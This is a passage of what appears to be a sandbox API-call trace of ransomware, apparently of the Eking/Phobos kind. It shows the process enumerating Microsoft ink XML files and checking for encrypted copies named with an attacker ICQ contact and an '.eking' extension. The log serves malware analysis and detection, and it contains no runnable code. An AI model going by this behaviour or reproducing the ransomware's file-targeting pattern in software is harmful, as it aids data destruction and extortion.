shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0231.350] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=617) returned 1 [0231.350] CloseHandle (hObject=0x364) returned 1 [0231.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0231.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0231.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.350] SetEvent (hEvent=0x2b8) returned 1 [0231.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0231.353] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=16616) returned 1 [0231.353] CloseHandle (hObject=0x364) returned 1 [0231.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0231.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0231.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.354] SetEvent (hEvent=0x2b8) returned 1 [0231.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.573] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9803) returned 1 [0231.573] CloseHandle (hObject=0x36c) returned 1 [0231.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0231.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0231.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.573] SetEvent (hEvent=0x2b8) returned 1 [0231.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.575] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10947) returned 1 [0231.575] CloseHandle (hObject=0x36c) returned 1 [0231.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0231.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0231.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.576] SetEvent (hEvent=0x2b8) returned 1 [0231.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.577] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=44506) returned 1 [0231.577] CloseHandle (hObject=0x36c) returned 1 [0231.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0231.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0231.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.579] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=737) returned 1 [0231.579] CloseHandle (hObject=0x36c) returned 1 [0231.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0231.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0231.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.580] SetEvent (hEvent=0x2b8) returned 1 [0231.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.580] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=221) returned 1 [0231.580] CloseHandle (hObject=0x36c) returned 1 [0231.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0231.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0231.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.583] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=471) returned 1 [0231.583] CloseHandle (hObject=0x36c) returned 1 [0231.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0231.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0231.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.584] SetEvent (hEvent=0x2b8) returned 1 [0231.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.584] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=215) returned 1 [0231.584] CloseHandle (hObject=0x36c) returned 1 [0231.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0231.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0231.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.585] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1069) returned 1 [0231.585] CloseHandle (hObject=0x36c) returned 1 [0231.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0231.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0231.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.586] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=213) returned 1 [0231.586] CloseHandle (hObject=0x36c) returned 1 [0231.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0231.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0231.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.589] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1853) returned 1 [0231.589] CloseHandle (hObject=0x36c) returned 1 [0231.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0231.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0231.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.590] SetEvent (hEvent=0x2b8) returned 1 [0231.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.590] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=219) returned 1 [0231.591] CloseHandle (hObject=0x36c) returned 1 [0231.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0231.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0231.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.592] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=924) returned 1 [0231.592] CloseHandle (hObject=0x36c) returned 1 [0231.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0231.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0231.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.607] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=215) returned 1 [0231.607] CloseHandle (hObject=0x36c) returned 1 [0231.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0231.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0231.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft 